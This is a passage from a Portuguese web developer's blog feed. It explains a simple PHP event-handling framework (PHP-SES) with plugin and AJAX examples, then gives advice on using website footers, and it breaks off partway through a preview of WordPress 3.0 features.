<p>Quem quiser ver a documentação completa da framework, pode aceder <a href="http://www.wiki.portugal-a-programar.org/php:tutoriais:php-ses_basicos" target="_blank">aqui</a>. No entanto, aqui vai ficar uma explicação da classe e de como ela funciona, que é bastante simples.</p>
<p>A classe cria um array multi-dimensional onde guarda as funções e o respectivo evento a que elas foram anexadas. Sempre que se anexa uma função, a classe pode ou não verificar se a função existe, conforme os parâmetros que o programador introduzir. Se passar nesse teste, verifica se a função já está anexada a esse mesmo evento,  e só depois anexa a função (as funções caso seja um array).</p>
<p>Ao executar-mos um determinado evento, a classe verifica se este existe, e em caso afirmativo, percorre o array com as funções anexadas a esse evento, e executa-as a todas pela ordem com que forma anexadas. Caso a opção Auto_run esteja activa, a função vai ainda percorrer todas as funções definidas pelo utilizador (programador da aplicação, utilizador da classe entenda-se) e verifica se alguma coincide com a formatação obrigatória e com o nome do evento em questão (<span style="text-decoration: underline">um_nome_qualquer<strong>_handles_</strong>nome_do_evento</span>). Se essa função já estiver anexada ao array, e por consequente já tiver sido executada, a classe não a executa novamente. Se ainda não estiver anexada, a classe executa-a e, caso a opção Auto_index esteja activa, indexa a função ao array do respectivo evento.</p>
<h2>Sugestões de sintaxe dos nomes dos eventos</h2>
<p>Numa aplicação de grandes dimensões torna-se importante a sintaxe que usamos e a forma como organizamos os nomes dos eventos, para que não existam conflitos e seja mais fácil memorizar o grande número de eventos que uma aplicação possa ter. Para isso os nomes dos eventos necessitam de ter lógica, e apesar de serem um pouco compridos, serão óbvios. Primeiro teremos de ter em conta algumas considerações.<br />
Os nomes dos eventos podem conter qualquer carácter, incluindo pontos, que podem servir de separador entre as várias &#8220;secções virtuais&#8221; do nome do evento. No entanto nomes de eventos com pontos não serão possíveis de aceder através da funcionalidade Auto-Index e Auto-Run pois as funções não suportam, obviamente, este tipo de caracteres no seu nome. Assim sendo, sugiro o uso do <em>underscore</em> como separador.<br />
Em todas as aplicações há uma &#8220;secção&#8221; que deve existir em todos os eventos, que indica se o evento retrata alguma acção em PHP ou HTML. Ou seja, e apesar de todas as instruções em código PHP sejam de PHP, poderão existir eventos que retratam a impressão de texto para o browser, e assim sendo, o nome do evento deve começar por <strong>html_</strong>, senão, caso retratem acções PHP, como uma conexão a uma Base de Dados, a leitura de um ficheiro, o fim de um ciclo, a execução de uma qualquer estrutura de controlo, etc., deverão começar por <strong>php_</strong>.<br />
Para a secção de HTML, podemos ainda destinguir se nos estamos a referir a alguma parte genérica do HTML, como por exemplo, um menu, que seja constituído por vários elementos HTML, deve-se adicionar um <strong>generic_</strong> a seguir ao <strong>html_</strong>, ou seja, ficaria <strong>html_generic_menu</strong>, por exemplo.<br />
Caso seja em PHP, deve-se adicionar o nome da &#8220;categoria&#8221; da acção que se está a utilizar. Por exemplo se for uma acção qualquer relacionada com a base de dados MySQL, como inserir um registo, coloca-se o <strong>mysq_</strong> depois do <strong>php_</strong>, ficando, por exemplo, <strong>php_mysql_query_insert_user</strong>.</p>
<p><span style="text-decoration: underline"><strong>Nota:</strong></span> Isto é apenas um exemplo de nomenclatura dos eventos, nada de obrigatório.</p>
<h2>Exemplos e Demos</h2>
<h3>Plugins</h3>
<p>Actualmente, é quase obrigatório qualquer aplicação, seja ela Web ou Desktop, suportar plugins. Só que isto é muitas vezes uma fonte de dor de cabeça para quem programa em PHP, criar um sistema versátil suficiente para suportar plugins. O PHP-SES permite a criação de Aplicações Web que facilmente suportam plugins. Vamos ver o seguinte exemplo.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">require</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;..\..\Events.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Inicia a configuração</span>
Events<span style="color: #339933;">::</span><span style="color: #004000;">setConf</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Auto_run&quot;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
Events<span style="color: #339933;">::</span><span style="color: #004000;">setConf</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Auto_index&quot;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Carrega os nomes ficheiros dos plugins.</span>
<span style="color: #000088;">$plugins</span> <span style="color: #339933;">=</span> <span style="color: #990000;">scandir</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;plugins&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Percorre o array com todos os ficheiros de plugins</span>
<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$plugins</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$index</span><span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$file_name</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #666666; font-style: italic;">//Verifica se o index actual é um ficheiro e não uma pasta</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">is_file</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;plugins/&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$file_name</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                <span style="color: #666666; font-style: italic;">//Inclui e executa o plugin</span>
                <span style="color: #b1b100;">require</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;plugins/&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$file_name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #666666; font-style: italic;">//Por uma questão de segurança e para não comprometer o funcionamento da aplicação</span>
                <span style="color: #666666; font-style: italic;">//Depois de se carregar um plugin deve-se sempre habilitar a classe</span>
                <span style="color: #666666; font-style: italic;">//Para não se dar o caso de algum plugin a desabilitar e não a habilitar novamente.</span>
                Events<span style="color: #339933;">::</span><span style="color: #004000;">Enable</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt; !DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
&lt;head&gt;
        &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=iso-8856-16&quot; /&gt;'</span><span style="color: #339933;">;</span>
        <span style="color: #666666; font-style: italic;">//Declara uma variável que permitirá adicionar conteúdo dentro dos plugins para a página</span>
        <span style="color: #000088;">$content</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #666666; font-style: italic;">//Corre todos os eventos anexados para quando os headers HTML são mostrados</span>
        <span style="color: #666666; font-style: italic;">//Esta é apenas um exemplo da sintaxe para o nome dos eventos.</span>
        Events<span style="color: #339933;">::</span><span style="color: #004000;">Run</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;html_headers&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$content</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;title&gt;'</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #000088;">$content</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;PHP-SES Plugins Example&quot;</span><span style="color: #339933;">;</span>
&nbsp;
        Events<span style="color: #339933;">::</span><span style="color: #004000;">Run</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;html_show_title&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$content</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;/title&gt;
&lt;/head&gt;&lt;body&gt;'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;h1&gt;Título&lt;/h1&gt;&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$content</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;a href=<span style="color: #000099; font-weight: bold;">\&quot;</span>#<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;Link1&lt;/a&gt;&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">//Aqui corre os eventos que permitem alterar o menu</span>
Events<span style="color: #339933;">::</span><span style="color: #004000;">Run</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;html_generic_body_menu&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$content</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;/body&gt;
&lt;/html&gt;
'</span></pre></div></div>

<h3>JavaScript Events</h3>
<p>Muitas vezes torna-se cansativo estar a chamar vários exemplos por AJAX, ou até fazer a verificação no PHP através de QueryStrings. Assim sendo, e com este exemplo aplicado, basta, no evento JavaScript, chamar uma função, JavaScript também, o nome do evento em PHP, e depois é só ir adicionando funções PHP ao código PHP.</p>
<p><strong>index.php</strong></p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt; ?php </span>
<span style="color: #009900;">require<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;..\..\Events.php&quot;</span><span style="color: #66cc66;">&#41;</span>;</span>
&nbsp;
<span style="color: #009900;">?&gt;</span>
<span style="color: #009900;">&lt; !DOCTYPE html PUBLIC <span style="color: #ff0000;">&quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;</span> <span style="color: #ff0000;">&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">html</span> xmlns<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://www.w3.org/1999/xhtml&quot;</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">head</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">meta</span> <span style="color: #000066;">http-equiv</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Content-Type&quot;</span> <span style="color: #000066;">content</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/html; charset=iso-8856-16&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span>&gt;</span>
        function RunEvent(event_name){
&nbsp;
                if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
                        xmlhttp=new XMLHttpRequest();
                } else {// code for IE6, IE5
                        xmlhttp=new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);
                }
&nbsp;
                xmlhttp.onreadystatechange=function(){
                        if (xmlhttp.readyState==4 <span style="color: #ddbb00;">&amp;&amp; xmlhttp.status==200){</span>
<span style="color: #ddbb00;">                                document.getElementById(&quot;count_number&quot;).innerHTML=xmlhttp.responseText;</span>
                        }
                }
&nbsp;
                xmlhttp.open(&quot;GET&quot;,&quot;run.php?event=&quot; + event_name + &quot;&quot;,true);
                xmlhttp.send();
        }
        <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">script</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">title</span>&gt;</span>JavaScript Buttons Example<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">title</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">head</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">body</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;button&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;btn_sample&quot;</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;btn_sample&quot;</span> <span style="color: #000066;">onclick</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;RunEvent('html_buttons_click_btn_sample')&quot;</span>  <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Test me. Click me.&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;count_number&quot;</span>&gt;</span>0<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">body</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">html</span>&gt;</span></pre></div></div>

<p><strong>run.php</strong></p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&nbsp;
<span style="color: #b1b100;">require</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;..\..\Events.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">defined</span><span style="color: #009900;">&#40;</span>IS_AUTH<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #990000;">exit</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Se a variável $_GET[&quot;event&quot;] não estiver declarada, termina a execução da página.</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;event&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Não foi definido nenhum evento.&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #990000;">exit</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Define algumas configurações para não ser necessário anexar a função.</span>
Events<span style="color: #339933;">::</span><span style="color: #004000;">setConf</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Auto_run&quot;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
Events<span style="color: #339933;">::</span><span style="color: #004000;">setConf</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Auto_index&quot;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Declara uma função anexada ao clique do botão</span>
<span style="color: #000000; font-weight: bold;">function</span> update_file_handles_html_buttons_click_btn_sample <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #666666; font-style: italic;">//Vai buscar o número de clicks que o botão já tem</span>
        <span style="color: #000088;">$number_clicks</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;clicks.txt&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #666666; font-style: italic;">//Escreve outra vez para o ficheiro adicionando um clique</span>
        <span style="color: #990000;">file_put_contents</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;clicks.txt&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$number_clicks</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$number_clicks</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Corre todos os eventos associados ao clique do botão.</span>
Events<span style="color: #339933;">::</span><span style="color: #004000;">Run</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;event&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Pode ver os exemplos em funcionamento, aceda <a href="http://scorchserver.freehosting.com/php_ses_examples/">aqui</a>.</p>
<div class="shr-publisher-817"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F07%2F21%2Fphp-simple-events-system-overview%2F' data-shr_title='PHP+Simple+Events+System+Overview'></a><a class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F07%2F21%2Fphp-simple-events-system-overview%2F'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F07%2F21%2Fphp-simple-events-system-overview%2F' data-shr_title='PHP+Simple+Events+System+Overview'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://joaopedropereira.com/blog/2010/07/21/php-simple-events-system-overview/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Não desaproveite o seu Footer!</title>
		<link>http://joaopedropereira.com/blog/2010/06/03/nao-desaproveite-o-seu-footer/</link>
		<comments>http://joaopedropereira.com/blog/2010/06/03/nao-desaproveite-o-seu-footer/#comments</comments>
		<pubDate>Thu, 03 Jun 2010 22:08:57 +0000</pubDate>
		<dc:creator>João Pedro Pereira</dc:creator>
				<category><![CDATA[Optimização]]></category>
		<category><![CDATA[Usabilidade]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[footer]]></category>
		<category><![CDATA[sitemap]]></category>
		<category><![CDATA[social]]></category>

		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=800</guid>
		<description><![CDATA[Ser WebDeveloper não é uma tarefa fácil, não só temos de estar sempre actualizados relativamente ao que o mercado de trabalho exige relativamente a conhecimentos em ferramentas, frameworks e linguagens de programação como também temos de estar em cima dos hot topics na área do WebDesign e Usabilidade. Construir um site do zero não é [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F06%2F03%2Fnao-desaproveite-o-seu-footer%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F06%2F03%2Fnao-desaproveite-o-seu-footer%2F&amp;source=joaoppereira&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Ser WebDeveloper não é uma tarefa fácil, não só temos de estar sempre actualizados relativamente ao que o mercado de trabalho exige relativamente a conhecimentos em ferramentas, frameworks e linguagens de programação como também temos de estar em cima dos hot topics na área do WebDesign e Usabilidade.</p>
<p>Construir um site do zero não é uma tarefa simples, pois exige muito planeamento, estruturação e pensamento criativo e ser criativo é muitas vezes uma dor de cabeça pois quando mais precisamos da nossa amiga criatividade ela pode não aparecer&#8230; E é preciso saber estimulá-la.</p>
<p>Tenho visto na Web Portuguesa bons sites a desaproveitar algumas áreas do site, e neste artigo vou referir-me ao footer.</p>
<p>Além do típico Acordo de Privacidade e Informações Legais (que é sempre uma boa forma de aproveitar o espaço) existem algum conteúdo especifico que pode e deve ser usado no footer.</p>
<p><img class="aligncenter size-medium wp-image-801" title="Sitemap" src="http://joaopedropereira.com/blog/wp-content/uploads/2010/06/inside_sitemap-222x300.jpg" alt="Sitemap" width="222" height="300" /><strong> Sitemap</strong> &#8211; É uma excelente forma de utilizar o espaço do footer pois é útil para os visitantes que se encontrem perdidos ou que simplesmente tenham pressa para encontrar o que procuram sem terem de fazer um scanning por todo o conteúdo do site, que pode ser moroso e por consequência pode fazer-nos perder utilizadores e possíveis clientes. Ninguém gosta de não encontrar rapidamente o que procura e cabe-nos a nós dar-lhes o que desejam.</p>
<p><img class="aligncenter size-medium wp-image-802" title="Contactos" src="http://joaopedropereira.com/blog/wp-content/uploads/2010/06/ContactUs-300x200.jpg" alt="Contactos" width="300" height="200" /></p>
<p><strong>Informação de Contacto </strong>- É também muito importante ter informações de como pode ser feito o contacto com o dono do site ou então criar um formulário de contacto para facilitar o contacto.</p>
<p><span style="text-decoration: underline;">Ferramentas e Inspiração:</span><br />
<a title="15 Great Online Form Building Tools" href="http://www.tripwiremagazine.com/2010/05/15-great-online-form-building-tools.html" target="_blank">15 Great Online Form Building Tools</a><br />
<a title="Beautiful Contact Forms For Your Inspiration" href="http://www.webdesignerdepot.com/2010/05/beautiful-contact-forms-for-your-inspiration/" target="_blank">Beautiful Contact Forms For Your Inspiration</a></p>
<p><strong> Sobre</strong> &#8211; A par da informação de contacto, uma rápida descrição do que é aquela página, quem é a empresa, quem é a pessoa, etc. algo que faça os utilizadores conhecer melhor.</p>
<p><img class="aligncenter size-medium wp-image-809" title="Web2.0 Logos" src="http://joaopedropereira.com/blog/wp-content/uploads/2010/06/web2_logos1-300x251.jpg" alt="" width="300" height="251" /></p>
<p><strong> Social Media</strong> &#8211;  É sem dúvida uma excelente forma de ganhar mais tráfego e/ou de manter os utilizadores actualizados quanto a informações relativos ao produto/conteúdo que o site tem ou vende.</p>
<p>Esta é uma lista de sugestões do que pode ser colocado no footer dos seus sites e dos sites que desenvolve, contudo a lista não termina por aqui existem muito mais coisas que podem ser colocados no footer, feed do Flickr com imagens interessantes, publicidade, formulários para subscrever a newsletters, feeds do twitter e/ou facebook, etc. etc. etc. Apenas a imaginação e originalidade de cada um é o limite.</p>
<div class="shr-publisher-800"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F06%2F03%2Fnao-desaproveite-o-seu-footer%2F' data-shr_title='N%C3%A3o+desaproveite+o+seu+Footer%21'></a><a class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F06%2F03%2Fnao-desaproveite-o-seu-footer%2F'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F06%2F03%2Fnao-desaproveite-o-seu-footer%2F' data-shr_title='N%C3%A3o+desaproveite+o+seu+Footer%21'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://joaopedropereira.com/blog/2010/06/03/nao-desaproveite-o-seu-footer/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>New Features WordPress 3 Review</title>
		<link>http://joaopedropereira.com/blog/2010/04/21/wordpress-3-review/</link>
		<comments>http://joaopedropereira.com/blog/2010/04/21/wordpress-3-review/#comments</comments>
		<pubDate>Wed, 21 Apr 2010 20:23:10 +0000</pubDate>
		<dc:creator>João Pedro Pereira</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[review]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=752</guid>
		<description><![CDATA[É provavelmente ainda um bocado cedo para falar do WordPress 3.0 pois o lançamento desta só está previsto para finais de Maio, mas tenho vindo a brincar um pouco com ele  e com as suas novas funcionalidades. A versão 3.0 do WordPress promete um visual mais soft da página de administração, vai também introduzir uma [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F04%2F21%2Fwordpress-3-review%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F04%2F21%2Fwordpress-3-review%2F&amp;source=joaoppereira&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>É provavelmente ainda um bocado cedo para falar do WordPress 3.0 pois o lançamento desta só está previsto para finais de Maio, mas tenho vindo a brincar um pouco com ele  e com as suas novas funcionalidades.</p>
<p>A versão 3.0 do WordPress promete um visual mais soft da página de administração, vai também introduzir uma nova default theme, a <em>&#8220;Twenty Ten&#8221;</em>, que permite personalizar o fundo e as opções do cabeçalho ( header ), possibilidade de criar os menus com categorias, tags, posts, links externos, etc., entre outras modificações que podem ver na <a title="Wordpress -- Version 3.0" href="http://codex.wordpress.org/Version_3.0" target="_blank">página oficial</a>.</p>
<p><a href="http://joaopedropereira.com/blog/wp-content/uploads/2010/04/Twenty-Ten.png"><img class="aligncenter size-medium wp-image-762" title="Twenty Ten" src="http://joaopedropereira.com/blog/wp-content/uploads/2010/04/Twenty-Ten-300x240.png" alt="" width="300" height="240" /></a></p>
<p>Neste post vou dar realce a apenas duas características que surgirão na versão 3.0 do WordPress, ou pelo menos que estão prevista e que estão em desenvolvimento.</p>
<h2>WordPress + WordPress MU == WordPress 3.0</h2>
<p>O WordPress MU ou WordPress Multi-User era uma versão modificada do sistema WordPress para permitir redes de blogs numa só instalação.</p>
<p><strong><span style="text-decoration: underline;">Site:</span></strong> <a title="Wordpress MU" href="http://mu.wordpress.org/" target="_blank">http://mu.wordpress.org</a></p>
<p>Create a Network of Multiple Sites on WordPress 3.0</p>
<p>É tão simples como adicionar no ficheiro wp-config.php a seguinte linha:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">define</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'WP_ALLOW_MULTISITE'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Seleccionar o menu<em> Tools -&gt; Network</em> e seguir as instruções.</p>
<p>Este é o menu que vos espera depois de tudo configurado.</p>
<p><img class="aligncenter size-full wp-image-757" title="Wordpress Network Menu" src="http://joaopedropereira.com/blog/wp-content/uploads/2010/04/menu.png" alt="" width="150" height="290" /></p>
<p><strong><span style="text-decoration: underline;">Ver artigo:</span></strong> <a title="Create a Network" href="http://codex.wordpress.org/User:Andrea/Create_A_Network" target="_blank">http://codex.wordpress.org/User:Andrea/Create_A_Network</a></p>
<h2>Custom Post Types on WordPress 3.0</h2>
<p>Quem já teve de desenvolver uma theme para WordPress um pouco mais complexo provavelmente já teve de fazer uns quantos hacks de forma a conseguir ter estilos diferentes para categorias diferentes&#8230; Os developers do WordPress pensaram em nós e decidiram tornar a possibilidade de ter vários estilos para diferentes tipos de posts de uma forma mais simples na versão 3.0 do WordPress.</p>
<p>Para tirar partido desta funcionalidade é necessário adicionar o seguinte código no ficheiro wp-content/themes/yourtheme/functions.php :</p>

